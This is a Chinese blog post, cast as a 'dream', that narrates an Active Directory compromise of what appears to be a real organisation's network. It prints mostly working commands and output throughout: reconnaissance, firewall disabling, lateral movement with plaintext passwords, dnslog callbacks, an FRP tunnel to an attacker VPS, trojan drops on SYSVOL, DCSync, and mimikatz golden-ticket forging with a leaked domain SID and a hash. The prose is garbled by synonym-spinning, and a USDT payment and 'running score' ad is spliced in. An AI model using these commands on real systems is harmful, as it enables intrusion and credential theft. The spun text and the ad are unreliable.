梦中初探域渗透流程

0x0 前言

  本文主要站在一个萌新的角度,通过在梦中构建虚拟的渗透场景,连系<<内网平安攻防渗透测试指南>>一书内容,纪录下通例域渗透的流程和历程中遇到的问题,以及自己的一些思索。

0x1 初始环境

梦中的主人公小七已经通过一个小手段获得了一个机械的system控制权限,接下来将从0更先从第一人称的角度纪录下小七的渗透思绪。

0x2 开端信息 ***

0X2.1 单机手工 ***

1.查看当前 ***

ipconfig /all

通过这个下令,我可以获取到一些下面对照有用的信息:

hostname:pohxxadc

dns. : pohxx.com

IPv4 Address. . . . . . . . . . . : 192.168.1.36(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 192.168.1.35
4.2.2.2
8.8.8.8

2.查询操作系统和版本信息

英文版
systeminfo | findstr /b /c:"OS Name" /c:"OS Version" 
中文版
systeminfo | findstr /b /c:"OS 名称" /c:"OS 版本"

OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600

通过确定系统版本能够辅助我们确定使用什么工具和这台机械的基本角色

查询架构AMD或者x86..

echo %processor_architecture%

[+] received output:
x86

3.查看安装的软件及版本、路径等

wmic product get name,version

Name Version

Microsoft Office 2003 Web Components 12.0.6213.1000

Microsoft Application Error Reporting 12.0.6015.5000

Python 3.7.4 Standard Library (64-bit) 3.7.4150.0

VNC Server 5.3.3 5.3.3.31513

... 感受挺多器械的,后面回首寻找突破点可以多看看这个。

4.查询本机服务信息

wmic service list brief

ExitCode Name ProcessId StartMode State Status

0 ADWS 1516 Auto Running OK

0 AeLookupSvc 0 Manual Stopped OK

0 AlertService 1556 Auto Running OK

1077 ALG 0 Manual Stopped OK

0 AppHostSvc 1600 Auto Running OK

1077 AppIDSvc 0 Manual Stopped OK

.. 可以针对Running和Auto来排查下有没有可疑的服务。

5.查询历程列表

tasklist /svc
wmic process list brief

可以通过查询相关网址,判断是否存在杀软

http://ddoslinux.com/windows/index.php

http://payloads.net/kill_software/

6.查看启动程序信息

wmic startup get command, caption

[+] received output:
No Instance(s) Available.

这里没发现存在启动程序,没啥问题

7.查询计划任务

schtasks /query /fo list /v

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第1张
可以看到这个机械上面计划任务异常多,我只是大略看了下,暂时没太多问题,后面没思绪会思量来这里继续仔细剖析,看看有没有入侵的痕迹之类的,用来替换提权也不错。

8.查看主机开机时间

net statistics workstation

Statistics since 03-12-2020 07:25:32

估量重启也没多久

9.查询用户列表

net user

ior4 itadmin italert
iuer_server Jana Javith
kaarthik karthikeyan krbtgt
lab1 lab2 mahendran
mahendranm maintenance maintenance2
manikandan Manikandan.RS marketing
MarketingGM md mrd1
ms NS nursing1
nursing2 nursing3 nursing4

...这里是不是感受很新鲜看到了krbtgt,我们岂非在域控的机械上?

另有itadmin,先纪录下

net localgroup administrators(获取内陆治理员,通常包罗域用户信息)

Administrator
Domain Admins
Enterprise Admins
Guest
itadmin
italert
iuer_server

...

shell query user || qwinsta 查看当前在线的用户

10.列出或断开内陆计算机与所毗邻的客户端之间的会话

net session

[+] received output:
There are no entries in the list.

11.查询端口列表

netstat -ano

beacon> shell netstat -ano | findstr ":53"
[*] Tasked beacon to run: netstat -ano | findstr ":53"
[+] host called home, sent: 71 bytes
[+] received output:
 TCP    0.0.0.0:53533          0.0.0.0:0              LISTENING       4
 TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       1720
 TCP    192.168.1.36:53        0.0.0.0:0              LISTENING       1720
 TCP    [::]:53533             [::]:0                 LISTENING       4
 TCP    [::1]:53               [::]:0                 LISTENING       1720
 UDP    0.0.0.0:5355           *:*                                    760
 UDP    127.0.0.1:53           *:*                                    1720
 UDP    192.168.1.36:53        *:*                                    1720
 UDP    [::1]:53               *:*                                    1720

像我一样平常会关注下53端口,3389之类的,8530是更新服务

12.查看补丁列表

systeminfo 这个可以复制信息到下面网址看看那些没修,主要用来exp提权

https://bugs.hacking8.com/tiquan/

http://blog.neargle.com/win-powerup-exp-index/

wmic qfe get Caption,Description,HotFixID,InstalledOn

这个可以查看详细的补丁安装信息,有需要就see see

13.查询本机共享列表

net share

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第2张
查看本机的共享列表和可接见的域共享列表(域共享许多时刻是相同的)

使用wmic下令查找共享列表,详细如下

wmic share get name,path,status

14.查询路由表及所有可用接口的ARP缓存表

route print 打印路由表,可以看到当前可以接见的 *** 局限

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
         0.0.0.0          0.0.0.0      192.168.1.1     192.168.1.36    266
       127.0.0.0        255.0.0.0         On-link         127.0.0.1    306

arp -a 查看arp表,可以看到历史的arp纪录,获取到mac地址和可arp的接见到的ip。

Internet Address      Physical Address      Type
  192.168.1.1           00-1a-8c-XX-0b-a4     dynamic   
  192.168.1.2           00-23-24-XX-XX-d3     dynamic

15.查询防火墙相关设置

(1) 关闭防火墙

window server 2003及之前版本,下令如下:

netsh firewall set opmode disable

window server 2003之后的版本:

netsh advfirewall set allprofiles state off

(2)查看防火墙设置

netsh firewall show config

Port configuration for Standard profile:

3389 TCP Enable Inbound Remote Desktop
3306 TCP Enable Inbound Port 3306
8888 TCP Enable Inbound COSEC WEB
11000 TCP Enable Inbound COSEC DEVICE
3306 TCP Enable Inbound mysqlport

像我一样平常会关注下IN的端口,这里说明有3306数据库和8888web应用

允许3389端口放行:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

16.查看署理设置情形

查看IE署理设置

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" (我小我私家以为没啥用)

17.查询并开启远程毗邻服务

(1)查看远程毗邻端口

reg query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
PortNumber REG_DWORD 0xd3d

十六机制:0xd3d->十进制:3389

(2)在windows Server 2003 开启3389端口

wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1

(3)在Window Server 2008 和 Windows Server2012 开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

0x2.2 单机自动化 ***

书籍先容了wmic和Empire,我小我私家看了下感受不是很好用。

Ladon GetInfo Ladon GetInfo2

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第3张

可以思量用下工具,自带了图形化插件,对照利便,支持的功效也许多。Ladon

不外我感受这种集成化的信息 *** 实在作用不是很好,1.对照容易触发流量的报警 2.不可控的未知操作也有可能导致留下痕迹 3. *** 时间消耗成本对照高 4.不能完全保证信息的准确性。

利益也显而易见就是利便。

综合来说,我小我私家建议将这个只是作为备选方案。

0x3 侦查域环境

0x3.1 判断是否存在域环境

1.使用ipconfig下令

ipconfig /all

DNS Suffix Search List. . . . . . : poxpl.xxx

Default Gateway . . . . . . . . . : 192.168.1.1

DNS Servers . . . . . . . . . . . : 192.168.1.35

​ 4.2.2.2
​ 8.8.8.8

然后通过执行 nslookup domain 举行反向剖析,确定DNS服务器的ip地址

Server: pohxerver.poxpl.com
Address: 192.168.1.35

Name: poxpl.com
Addresses: 192.168.1.35
192.168.1.36

一样平常默认没有域的网关ip会和dnsip一致,同时dns的名字为localdomain之类的,不会跟域名一样。

2.systeminfo

Domain: poxpl.xxx

Domain(域)若是为workgroup 则代表不存在域,否则存在poxpl.xxx域环境

3.查询当前登录域及登录用户信息

net config workstation

Software version Windows Server 2012 R2 Standard

Workstation domain POxPL
Workstation Domain DNS Name poxpl.xxx
Logon domain poxpl

其中若是Workstation domain (工作站域)若是为workgroup则代表不存在域环境,否则说明存在POxPL域

其中Logon domain(登录域) 表名当前登录的用户是域用户

4.判断主域

net time /domain:指定查询指定域(POx POxPL)

由于域服务器通常会作为时间服务器来使用

System error 5 has occurred.

Access is denied.

这个点有点新鲜,按原理来说这种情形说明存在域,但当前用户不是域用户。(有可能是这个机子同时作为两个域的域控缘故原由导致出错了,守候师傅解答缘故原由)

然则通过查询指定域,发现会显的是PHXPL这个域的效果,横竖挺新鲜的。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第4张

另有其他两种情形就是:

(1) 存在域,且当前用户是域用户

[+] received output:
Current time at \POxSERVER.poXpl.XXX is 11-12-2020 11:33:31

The command completed successfully.

这里就很显著了直接返回时间服务器的效果。

(2)不存在域

找不到域 WORKGROUP 的域控制器。

请键入 NET HELPMSG 3913 以获得更多的辅助。

0x3.2 *** 域内基础信息

下面的查询下令在本质上都是通过LDAP协议到域控制器上举行查询的,以是在查询时需要举行权限认证,只有域用户用户才拥有此权限,内陆用户则无法举行域信息的查询。在域中,除普通用户外,所有的机械都有一个机械用户,其用户名为机械名加上"$"。system权限对应的就是域内里的机械用户,以是域内机械的system权限拥有查询的权限。

1.查询所处的域

net view /domain

[+] received output:
Domain

POX
POXPL
The command completed successfully.

这里说明当前处于双域环境下

2.查询域内所有计算机

net view /domain:(可选指定域)

\MRD01
\NAS1-VC NAS1-VC
\NAS2 NAS2
\NURSINGDLX01-PC
\NURSTN01
\NURSUPR

... Remark 有一定的作用,可以说明这个机械的用途

另有就是使用cs自带的net view下令

POXXLADC 169.254.137.125 500 6.3 BDC
POXSERVER 192.168.1.X 500 6.3 PDC POxSERVER

内里有个属性是Type, BDC->BackUP DOMAIN CONTROLLER PDC->PRIMARY ~

3.查询域内所有用户组列表

net group /domain

Group Accounts for \POxPLADC

1 NUR USER1 NUS IC
3 NUR IC3 NUR USERS
*Accounts
... 对照多,这里我们需要注重和学习是系统自带的常见用户身份

  • Domain Admins:域治理员
  • Domain Computer: 域内机械
  • Domain Controller:域控制器
  • Domain Guest:域用户
  • Enterprise Admins:企业系统治理员用户

在默认情形下Domain Admins和Enterprise Admin对域内所有域空盒子器有完全控制权限*

4.查询所有域成员的计算机列表

net group "domain computers" /domain

5.获取域密码信息

net account domain

[+] received output:
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 7
Length of password history maintained: 24
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: BACKUP
The command completed successfully.

这里设置了密码不会过时,密码的长度信息,后面若是想爆破可以作为一个参考。

6.获取域信托信息

nltest /domain_trusts

List of domain trusts:
0: POXPL poXpl.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully

说明没有存在多域信托关系。

0x3.3 查看域控制器

1.从域控制器查询获取域控制器的列表

nltest /dclist:domain

Get list of DCs in domain 'POXPL' from '\POXSERVER'.
Cannot DsBind to POXPL (\POXSERVER).Status = 2148074274 0x80090322 SEC_E_WRONG_PRINCIPAL

[+] received output:
List of DCs in Domain POHPL
\POXSERVER (PDC)
\POXPLADC
The command completed successfully

这里说明存在两个域控制器。

2.查看域控制器主机名

nslookup -type=SRV_ldap._tcp

Default Server: poXsXrver.poXpl.com
Address: 192.168.1.X

3.查看当前时间

net time /domain 一样平常为域控

4.查看域控制器

net group "Domain Controllers" /domain

itadmin                  mahendran                POXADC$                  
POXPLADC$                POXSERVER$

关于带"$"就是域控机械名,可以ping获取到ip地址。

0x3.4 获取域内用户和治理员信息

1.查询所有域用户列表

net user /domain

这里可以稍微关注一下一个特殊用户krbtgt,用于加密tgs。

2.获取域内用户详细信息

常见参数包罗用户名、形貌信息、SID、域名、状态

wmic useraccount get /all

3.查看存在的用户

dsquery user

这个下令我没执行乐成。

4.查询内陆治理员用户

net localgroup administrators

Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

Administrator
king
POXPL\CASUALTY USERS
POXPL\casualty1
POXPL\casualty2
POXPL\casualty3
POXPL\Domain Admins
POXPL\mahendran
POXPL\mahendranm
The command completed successfully.

Domain Admins组中的用户默以为域内机械的内陆治理员用户。在现实应用中,为了利便治理,会有域用户被设置为域机械的内陆治理员用户。

5.查询域治理员组

net group "Domain admins" /domain

Group name Domain Admins
Comment Designated administrators of the domain

Members

Administrator Aravind mahendran
Thiag_67
The command completed successfully.

可以看到这里存在4个域管账户

6.查询治理员用户组

net group "Enterprise Admins" /domain

Members

Administrator itadmin italert
mahendran mahendranm Rkumar
ssk

,

usdt跑分网

菜包钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜包Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

可以看到存在权限异常高的企业治理员组中有7个用户属于该组。

0x3.5 定位域治理员

定位域内治理员通例渠道: 1.日志 2.会话

日志是指内陆机械的治理员日志,可以使用剧本活Wevtuil工具导出并查看

会话是指域内每台机械的登录会话,可以使用netsess.exe或者PowerView工具查询(可以匿名查询,不需要权限)。

这里方式有许多,这里我只先容我最常用的一种: PowerView

这里需要先容下它的优缺点。

Invoke-StealUserHunter: 只需要举行一次查询,就可以获取域内里的所有用户。使用方式为,从user.HomeDirectories中提取所有用户,并对每台机械能Get-NetSessions获取。由于不需要使用Invoke-UserHunter对每台机械举行操作,以是这个方式隐藏性相对较高(但涉及的机械不一定周全)。PowerView默认使用Invoke-StealthUserHunter,若是找不到需要的信息,就使用Invoke-UserHunter。

Invoke-UserHunter:找到域内特定的用户群,吸收用户名、用户列表和域组查询,吸收一个主机列表或查询可用域名。它可以使用Get-NetSessions 和 Get-NetLoggedon(挪用NetSessionEnum和NetWkstaUserEnum API)扫描每台服务器并对扫描效果举行对照,从而找出目的用户集,在使用时不需要治理员权限*

CS4.0下导入powerview

powershell-import /Volumes/windowSSD/后渗透/PowerSploit/Recon/PowerView.ps1

powershell Invoke-UserHunter

output:

UserDomain :
UserName : Administrator
ComputerName : POxSxRVER.poxpl.com
SessionFrom : 192.168.1.112
SessionFromName : acc04.poxpl.com
LocalAdmin :

UserDomain :
UserName : mahendran
ComputerName : POHSxRVER.poxpl.com
SessionFrom : 192.168.1.82
SessionFromName : poxpl074.poxpl.com
LocalAdmin :

...

可以看到82和112有机械用域管账户上岸了域控。

同理可以行使针对特定目的简朴获取

Get-NetSession 获取会话

Get-NetLoggedon 获取已经上岸过的用户

附上一个常用用法:

Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机械的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 凭证SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有 *** 共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程毗邻
Get-NetProcess: 获取远程主机的历程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取流动目录的工具
Get-NetGPO: 获取域内所有的组计谋工具
Get-DomainPolicy: 获取域默认计谋或域控制器计谋
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有内陆治理员权限
Invoke-ProcessHunter: 通过查询域内所有的机械历程找到特定用户
Invoke-UserEvenHunter: 凭证用户日志查询某域用户登录过哪些域机械。

powerview tricks

0x3.6 查找域治理历程

假设我们存在一个场景:

我们已经获得了一个域普通用户的权限,然后我们通过提权或者其他方式获得了内陆的治理员权限,然后剖析当前服务器的用户登录列表及会话信息,知道了哪些用户登录了这台服务器。然则我们发现可以获取权限的登录用户都不是域治理员账户,同时没有域治理员中的用户上岸过这台机械。我们可以使用获得的其他用户并寻找该账户在内网的哪台机械上具有治理权限,再枚举这台机械上的登录用户,然后继续渗透测试,直至找到一个可以获取域治理员权限的有用路径为止。

1.本机检查

这个对照简朴,我们直接执行tasklist /svc

比对net group "Domain Admins" /domain 显然当前历程用户不在内里。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第5张

若是能找到那么我们就可以直接拿下域控了,事情往往没有那么简朴。

2. 查询域控制器中域用户会话

感受书内里写的怪怪的,许多器械重复了许多次,也有可能是我不明了,下面说一下我自己的操作吧。

先获取到域控制器列表

net group "Domain Controllers" /domain

然后在获取域治理员列表

net group "Domain Admins" /domain

然后 *** 所有域控制会话列表然后与域治理员做一个交织就可以确定域治理员存在的机械了。(感受是上一节的内容)

3.枚举用户是否为内陆治理员

单线程枚举

Get-DomainComputer | Test-AdminAccess

多线程枚举

Find-LocalAdminAccess -Verbose

通过查看域组计谋的方式来确定

Get-DomainGPOComputerLocalGroupMapping

Get-DomainGPOLocalGroup

通过查询域内所有机械内陆的治理员来对比:

Invoke-EnumerateLocalAdmin

若是是的话,直接横向已往,然后继续搜索凭证,然后查看有没有治理员,没有就继续获取当前机械的用户账号,继续这种操作。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第6张

然后直接横向已往吧。jump psexec POHPL073 http,杀软没过,那就执行下令。

cscript //nologo WMIHACKER_0.6.vbs /cmd POHPL073 POHPL\ior1 "ior$123" "whoami" 1

这里不知道为啥登录乐成了。却返回这个错误信息:

C:\Windows\temp\WMIHACKER_0.6.vbs(60, 3) SWbemLocator: Access is denied.

后面采取了sharpexec来用

execute-assembly /Volumes/windowSSD/后渗透/SharpExec/release/SharpExec.exe -m=wmi -i=192.168.1.194 -d=pohpl -u=ior1 -p=ior$123 -e=C:\Windows\System32\cmd.exe -c="/c ping 7XXx.dnslog.cn"

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第7张

后面就是重复操作了,就像深度搜索一样寻找域管的凭证的路径。。。最终在一台机械上找到了域管的历程

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第8张

然后steal_token伪造域管令牌,然后直接dcsync dump下所有hash。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第9张

实在我也在其他机械上抓到了域管的hash然后解密出了域管的明文密码,这个是属于对照常见的拿下域控的方式。

0x3.7 BloodHound自动化 *** 域信息

这个工具对照壮大,也对照快,想找个机遇剖析它是怎么实现的。

下面简朴看看我归纳综合的先容。

BloodHound是一款免费的工具。一方面,BloodHound通过图与线的形式,将域内的用户、计算机、组、会话、ACL以及域内所有的相关用户、组、计算机、登录信息、接见控制计谋、之间的关系,直观地展现在Red Team成员眼前,为他们更快捷地剖析域内情形、更快速地在域内提升权限提供条件。省略蓝队内容~~.BloodHound使用图形理论,在流动目录环境中自动理清大部门职员之间的关系和细节,可以快速、深入地领会流动目录中用户之间的关系,获取哪些用户具有治理员权限、哪些用户对所有的计算机都具有治理员权限、哪些用户是有用的用户组成员等信息。

BloodHound 可以在域内导出相关信息,然后导入内陆的neo4j数据库,并举行展示和剖析。neo4j是一款NoSQL图形数据库,它将结构化数据存储在 *** 内而不是表中。BloodHoud正是行使Neo4j的这种特征,通过合理的剖析,直观地以节点空间的形式表达相关数据的。Neo4j拥有自己的查询语言Cypher Query Language,由于其是非关系数据库,以是,要想在其中举行查询,需要使用其特有的语法。

不外问题不大,默认有12种对照知心的功效。

1.使用bloodHound *** 信息

1.使用本机 *** 
execute-assembly /Volumes/windowSSD/后渗透/BloodHound/Ingestors/SharpHound.exe  -all
2.使用指定账号查询
execute-assembly /Volumes/windowSSD/后渗透/BloodHound/Ingestors/SharpHound.exe  --domaincontroller 192.168.1.37 --ldapusername 0 --ldappassword 0 --domain poxpl.xxx

2.Neo4j加载压缩包

Enumeration finished in 00:00:56.7099642
Compressing data to .\2020121xx74110_BloodHound.zip

download BloodHound.zip 即可。

内里有个Queries功效有个Find Shortest Paths to Domain Admins,实在有一定的参考价值。可以试试。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第10张

这里可以看到Domain User组对COSECGPO有GnericWrite权限,然后该GPO能够作用于域管账户。

也就是说我们只要拥有一个域用户的就可以对Administrator这个域用户工具举行自定义组计谋,这倒是一个有意思的拿下域管的思绪。

Get-DomainGPO -ComputerIdentity pohpl -Properties Name, DisplayName 先列出GPO目录

给GPO添加计划任务执行下令。

Add-UserTask -GPOIdentity 'COSEC' -TaskName 'eviltask' -Command 'cmd.exe' -CommandArguments "/c ping %username%.5x1f.dnslog.cn" -Author Administrator

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第11张

不外这个计划任务必须要要Administrator登录才行,由于作用是用户而不是机械,纯粹拿来试试手,学习bd的最短路径,确实有一定的合理性。

只要登录就轻轻松松拿下域管权限,问题不大。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第12张

最后手动消灭计划任务即可。

关于GPO的滥用,后面有机遇的话,我会在学习约束资源委派的时刻跟你们分享。

0x4 域环境横向目的

0x4.1 搭建加密隧道

这个主要是关于书中的第三章-隐藏通讯隧道手艺。

一样平常的 *** 通讯,主要是两台机械之间通过确立TCP毗邻,然后举行正常的数据通讯。在知道IP地址的情形下,可以之间发送报文,不知道ip地址则需要将域名剖析成ip地址。在现实的 *** 中,通常会通过种种界限装备,软/硬件防火墙甚至入侵检测系统来检查对外毗邻的情形,若是发现异常,就会对通讯举行阻断。

什么是隧道? 这里的隧道就是一种绕过端口屏障的通讯方式。防火墙两头的数据包通过防火墙所允许的数包类型或端口举行封装,然后穿过防火墙,与对方通讯。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到对应的服务器上。

常用隧道列举如下:

  • *** 层:IPV6隧道,ICMP隧道,GRE隧道
  • 传输层:TCP隧道, UDP隧道,通例端口转发
  • 应用层: SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道

下面会展示部门行使种种隧道的操作,这里就未便举行专题睁开。

1.判断内网连通性

(1)ICMP 协议

执行下令ping ip ,执行乐成则支持

(2)tcp协议

这个默认都支持吧,没啥好说的

(3)http协议

window下推荐

shell certutil -urlcache -split -f http://k2wx21.dnslog.cn

Online
CertUtil: -URLCache command FAILED: 0x80072efd (WIN32: 12029)
CertUtil: A connection with the server could not be established

window高版本及其linux

1.curl k2w421.dnslog.cn
2.wget k2w421.dnslog.cn

(4)dns协议

一样平常我也是直接ping若是可以剖析域名说明dns是通的。

下面这两个操作建议你用自己的域名试试能不能剖析即可。

window

nslookup www.baidu.com @8.8.8.8

linux

dig @114.114.114.114 www.baidu.com

这里书籍先容了一个有趣的情形,就是在常见的企业办公网段上网的场景,流量不能直接流出,需要使用内网中的署理服务器,这个实在有点类似于NAT的头脑.

常用判断方式如下:

1.查看 *** 毗邻,判断是否存在于其他机械的8080(不绝对)等端口的毗邻

2.查看内网中是否有主机名类似于"proxy" 的机械

3.查看IE浏览器的直接署理

总体来说这种方式行使起来有一定的局限性。

回到我们的主题上,由于我的cs是http反弹回 来的,以是肯定是支持应用层http的协议的。

2.行使FRP搭建稳固的socks5署理隧道

VPS端:

1.下载最新版frp的
wget https://github.com/fatedier/frp/releases/download/v0.34.3/frp_0.34.3_linux_amd64.tar.gz
2.解压
tar -xzvf frp_0.34.3_linux_amd64.tar.gz 
3.设置frps.ini
[common]
bind_port = 14500
token =  *** 0ox
4.启动程序
 ./frps -c frps.ini

客户端:

1.设置frpc.ini
[common]
server_addr = 101.x.x.x
server_port = 14500
token =  *** 0ox
tls_enable = true

[http_proxy]
type = tcp
remote_port = 16005
plugin = socks5

正常启动即可。

0x4.2 寻找靶标

上面我们已经通过一些小手段拿下了域控,而且做好了稳固 *** ,下面就更先我们的小旅程吧。

这个时刻就可以放开点手脚啦,端口扫描之类的开起来。

可以先简朴 *** 下80、8080端口,查看下内网存放的服务,有没有跟我们目的有关的。

portscan 192.168.1.0/24 80,443,8080

然后把开放的端口,丢进httpx快速扫描下,看看有没有相关的内容。

终端开个署理:

export all_proxy=socks5://198.xx.xx.xx:16005

似乎效果不是很行,最后照样上了proxychains4

开启httpx的扫描:

cat target.txt | proxychains4 httpx -threads 10 -content-length -follow-redirects

发现有许多用了Hikvision的摄像头,然后后面就是凭证返回的数据包挑选一些站点来看看。

最终简朴看了下一些站点:

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第13张

另有一个呼叫中央的器械,整体来说这个内网还行吧。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第14张

...一样平常简朴试了几个小弱口令,横竖内网内里都很微弱的啦。。。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第15张

...

关于怎么找自己的目的,这个就属于后渗透的技巧了,这个就是体力活了,没啥好写的,简朴看看自己没啥好弄的,就此打住。

0x4.3 cs批量上线

关于这个批量上线,也就小型目的的时刻好用点,大型目的不推荐,这样你的cs会直接死掉的。

操作对照简朴,不多赘述。

1.通过下发GPO针对指定OU的机械和用户举行袭击

2.通过域管账户批量执行下令即可。

3.上传木马到开放的UNC路径,或者放在sysol的域共享文件夹下。

4.cs的pth直接上线,不外当前域环境有部门机子存在卡巴斯基,以是服务直接被阻挡了(后面有机遇可以写写针对卡巴斯基的一些匹敌想法)

...

这里简朴演示下第3种思绪吧。

上传到SYSVOL目录下:

\\POXSXXVER\sysvol\poXpl.com\1.bat

然后批量执行:

(2)wmic可以执行然则没有回显

wmic /node:192.168.1.x process call create "cmd /c \\POxxERVER\sysvol\poxpl.com\1.bat"

remote-exec wmi 192.168.1.x whoami

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第16张

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第17张

CS上线的话只需要一个过掉卡巴斯基的马就行了,直接执行就ok了。

0x5 域环境权限维持

这里主要是凭证书籍第8章-权限维持剖析及防御中的8.3节来扩展睁开。

这里我只讲3个我对照感兴趣的,由于这三个我对照喜欢用啦,另有其他许多方式,不外我还没更先研究,后面若是有机遇自己也可以写出来与列位交流下,配合寻找些对照有用的方式。

由于在渗透的历程中,我突然发现我用的域管账号pth失败,经由net user itadmin /domain发现

治理员登录然后修改了这个密码。这个时刻下面两种方式能很好应对这种情形。

0x5.1 黄金票据

在域环境中,存在一个SID为502的域账号krbtgt。krbtgt是KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户的账号票据都是由krbtgt天生的,若是攻击者拿到了krbtgt的NTLM Hash或者AES-256的值,就可以伪造域内随便用户的身份,并以该用户的身份接见其服务。

使用域的Golden Ticket(黄金票据)举行票据通报攻击时,通常需要掌握以下信息:

  • 需要伪造的域治理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash或AES-256的值

1.导出krbtgt的NTLM Hash

mimikatz @lsadump::dcsync /domain:pohpl.com /user:krbtgt

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第18张

2.获取域SID

wmic useraccount get name,sid

Guest S-1-5-21-291403081-3947339614-192785736-501

krbtgt S-1-5-21-291403081-3947339614-192785736-502

这里可以确定域的SID:S-1-5-21-291403081-3947339614-192785736

krbtgt的sid:502

3.查询域治理员账号

net group "domain admins" /domain

这里我选择伪造:Aravind

4.查询域名

ipconfig /all

获取到fqdn

5.查看当前票据而且清空

1.klist
2.klist purge
3.mimikatz @kerberos::purge

6.天生票据

mimikatz @kerberos::golden /admin:Aravind /domain:poxpl.com /sid:S-1-5-21-291403081-3947339614-192785736 /krbtgt:2cc650xxxxxxxxx568fe0f71b01ca /ticket:"Aravind.kiribi"

实在用aes 256也可以:
/krbtgt: -> /aes256:即可

执行完内陆会天生一个Aravind.kiribi名字的文件

7.通报票据并注入内存

mimikatz @kerberos::ptt Aravind.kiribi

8.检索当前会话中的票据

mimikatz @kerberos::tgt

这个时刻就代表注入乐成啦,后面可以去验证下,是否有接见域控制器的权限了。

usdt自动充值(caibao.it):梦中初探域渗透流程 安全技术 众测渗透 第19张

0x5.2 白银票据

这个我用的实在对照少.照样先容一下吧。

Silver Ticket不用于Golden Ticket。Silver Ticket的行使历程是伪造TGS,通过已知的授权的服务密码天生一张可以接见该服务的TGT。由于在票据天生的历程中不需要使用KDC,以是可以绕过域控制器,很少留下日志。而Golden Ticket在行使历程中需要由kdc发表TGT,而且在天生伪造的TGT的20分钟内,TGS不会对该TGT的真伪举行磨练。

Silver Ticket 依赖于服务账号的密码散列值,这不同于Golden Ticket行使需要使用krbtgt账号的密码散列值,因此加倍隐藏。

Golden Ticket使用krbtgt账号的密码散列值,行使伪造的高权限的TGT向KDC要求发表拥有随便服务器接见权限的票据,从而获取域控制器权限。而Silver Ticket会通过响应的服务账号来伪造TGS,例如LDAP、MSSQL、WinRM、DNS、CIFS等,局限有限,只能获取对应服务的权限。

黄金和白银最显著的区别就是:

Golden Ticket是使用krbtgt账号hash加密的,而Silver Ticket是由特定的服务账号加密的。

攻击者在使用Silver Ticket对内网举行攻击时,需要掌握以下信息:

  • 域名
  • 域SID
  • 目的服务器的FQDN
  • 可行使的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名

这里得说说服务账号的观点(我小我私家明了也不是很到位)

在域中,域用户可以提供服务,计算机账号也可以提供服务。由于域中的SPN只注册在用户(Users) 和 计算机(Computers)下,其中SPN是将服务实例与服务登录账户关联的。

查询所有服务账号:

setspn -T DOMAINNAME -F -Q */*

下面演示下伪造CIFS的服务票据

Common Internet File System (CIFS) is a network filesystem protocol used for providing shared access to files and printers between machines on the network.

1.获取cifs的服务账户

dcsync poXXl.com PXSERVER$

18825f30f26d1b776be64aaae7fa8f27

2.清空票据

klist purge

3.伪造票据

